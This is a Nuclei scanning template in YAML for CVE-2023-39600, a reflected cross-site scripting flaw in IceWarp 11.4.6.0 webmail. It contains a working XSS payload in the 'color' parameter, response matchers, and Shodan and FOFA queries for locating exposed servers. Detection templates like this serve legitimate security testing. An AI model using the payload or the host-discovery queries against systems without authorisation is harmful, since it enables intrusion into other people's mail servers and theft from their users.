id: CVE-2023-39600

info:
  name: IceWarp 11.4.6.0 - Cross-Site Scripting
  author: Imjust0
  severity: medium
  description: |
    IceWarp 11.4.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  reference:
    - https://medium.com/@katikitala.sushmitha078/cross-site-scripting-reflected-xss-in-icewarp-server-cve-2023-39600-310a7e1c8817
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39600
    - https://icewarp.com
    - https://medium.com/%40katikitala.sushmitha078/cross-site-scripting-reflected-xss-in-icewarp-server-cve-2023-39600-310a7e1c8817
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39600
    cwe-id: CWE-79
    epss-score: 0.01165
    epss-percentile: 0.63181
    cpe: cpe:2.3:a:icewarp:icewarp:11.4.6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: icewarp
    shodan-query:
      - title:"icewarp"
      - http.favicon.hash:2144485375
      - http.title:"icewarp"
    fofa-query:
      - title="icewarp"
      - icon_hash=2144485375
    google-query: intitle:"icewarp"
  tags: cve,cve2023,icewarp,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color="><img src=x onerror=confirm(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=confirm(document.domain)>"
          - "IceWarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402204c8ca026ff9d30d7e9a4f3ca66caab1dec5e9da06da43565855c10c1027c59080220082f5e765b4751f3a6b5364655b3832740456fc83bc4b1f7733e15bed8c81b1e:922c64590222798bb761d5b6d8e72950